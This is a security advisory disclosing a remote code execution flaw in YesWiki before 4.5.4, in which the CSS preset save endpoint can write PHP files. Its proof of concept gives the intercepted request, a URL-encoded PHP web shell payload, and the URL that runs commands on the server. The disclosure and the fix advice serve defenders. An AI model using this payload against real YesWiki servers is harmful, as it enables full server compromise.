GHSA-88xg-v53p-fpvf YesWiki Remote Code Execution via Arbitrary PHP File Write and Execution

• Packagist yeswiki/yeswiki: < 4.5.4 → fixed in 4.5.4

Summary An arbitrary file write can be used to write a file with a PHP extension, which then can be browsed to in order to execute arbitrary code on the server. All testing was performed on a local docker setup running the latest version of the application. PoC Proof of Concept Navigate to `http://localhost:8085/?LookWiki` which allows you to click `Create a new Graphical configuration` where you specify some parameters and then click `Save`. After clicking save, this request is made (most headers removed for clarity): ``` POST /?api/templates/custom-presets/test.css HTTP/1.1 Host: localhost:8085 primary-color=%230c5d6a&secondary-color-1=%23d8604c&secondary-color-2=%23d78958&neutral-color=%234e5056&neutral-soft-color=%2357575c&neutral-light-color=%23f2f2f2&main-text-fontsize=17px&main-text-fontfamily=%22Nunito%22%2C+sans-serif&main-title-fontfamily='Nunito'%2C+sans-serif ``` This request writes the file `test.css` to disk with the contents (abbreviated) ``` :root { --primary-color: #0c5d6a; --secondary-color-1: #d8604c; --secondary-color-2: #d78958; --neutral-color: #4e5056; --neutral-soft-color: #57575c; --neutral-light-color: #f2f2f2; --main-text-fontsize: 17px; --main-text-fontfamily: "Nunito", sans-serif; --main-title-fontfamily: 'Nunito', sans-serif; } ``` To exploit this, utilize a proxy tool to intercept the the first request and change the filename extension to `.php` and add arbitrary PHP code in for one of the request body parameters. e.g. `primary-color=%3C%3Fphp+system%28%24_GET%5B%27cmd%27%5D%29%3B+%3F%3E` Now the file `pizzapower.php` is written to `/var/www/html/custom/css-presets/pizzapower.php` and it starts with this, where the PHP code is present. ``` :root { --primary-color: ; --secondary-color-1: #d8604c; --secondary-color-2: #d78958; --neutral-color: #4e5056; --neutral-soft-color: #57575c; --neutral-light-color: #f2f2f2; --main-text-fontsize: 17px; --main-text-fontfamily: "Nunito", sans-serif; --main-title-fontfamily: 'Nunito', sans-serif; } ``` Then, simply visit the file with a `cmd` parameter included. ``` http://localhost:8085/custom/css-presets/pizzapower.php?cmd=id ``` And the HTTP response will contain the output of our command. Notably this request can be performed unauthenticated (the creation of the file requires auth, though). ``` :root { --primary-color: uid=501(yeswiki) gid=501 groups=501 ; --secondary-color-1: #d8604c; --secondary-color-2: #d78958; --neutral-color: #4e5056; --neutral-soft-color: #57575c; --neutral-light-color: #f2f2f2; --main-text-fontsize: 17px; --main-text-fontfamily: "Nunito", sans-serif; --main-title-fontfamily: 'Nunito', sans-serif; } ``` Impact Full compromise of the server. Can potentially be performed unwittingly by a user subjected to the previously reported (or future) XSS vulnerabilities. Fixes Amongst others: Restrict file extensions: Only allow a safelist of extensions (e.g., .css) when saving files via this feature. Harden server config: Disable PHP execution in user-writable directories